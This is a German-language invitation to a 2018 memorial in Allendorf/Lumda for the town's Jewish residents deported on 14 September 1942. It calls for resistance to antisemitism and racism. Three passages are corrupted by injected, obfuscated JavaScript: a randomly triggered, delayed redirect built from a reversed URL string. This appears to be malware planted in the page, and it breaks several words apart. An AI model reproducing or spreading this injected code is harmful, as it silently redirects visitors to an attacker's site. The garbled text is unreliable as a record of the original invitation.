Zu einer Gedenkstunde anlässlich der Deportation der Allendorfer Bürgerinnen und
Bürger jüdischen Glaubens am 14. September 1942 in die Todeslager des Ostens
möchten wir Sie, auch im Namen unseres Bürgermeisters Thomas Benz,
herzlich einladen.
Wann? Am Freitag, dem 14. September 2018, um 17.00 Uhr
Wo? „ Halle der Kunst“ in Allendorf/ Lumda, Marktstraße
Warum? Mit dem 14. September 1942 erlosch jüdisches Leben in Allendorf.
Die Gedenkstelen mit den Namen der Opfer der
nationalsozialistischen Gewaltherrschaft auf dem Rosenplatz in
Allendorf sollen uns erinnern, wie schnell aus Vorurteilen und
Ausgrenzung Hass und aus Hass Völkermord werden kann.
Wir wollen uns erinnern, dass Geschichte nie wirklich ganz
vergangen ist und die Gegenwart uns heute herausfordert, klüger
und besonnener zu reagieren.
Dieses Erinnern und der kritische Blick auf gegenwärtige
Entwicklungen in unserem Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, in Europa und der Welt sollten
alle demokratischen Kräfte, auch in unserer Stadt, darin
stärken, jedem Ansatz von Intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toleranz, Inhumanität, Fremdenhass,
Rassismus, Antisemitismus und Demokratiefeindlichkeit ihren
geschlossenen, entschiedenen Widerstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and entgegen zu setzen.
Wir würden uns freuen, wenn Sie am 14. September eine Stunde für dieses
Gedenken Zeit finden können.
Stefan Schröder und Brigitte Heilmann
Die Vergangenheit erinnern – Die Zukunft gestalten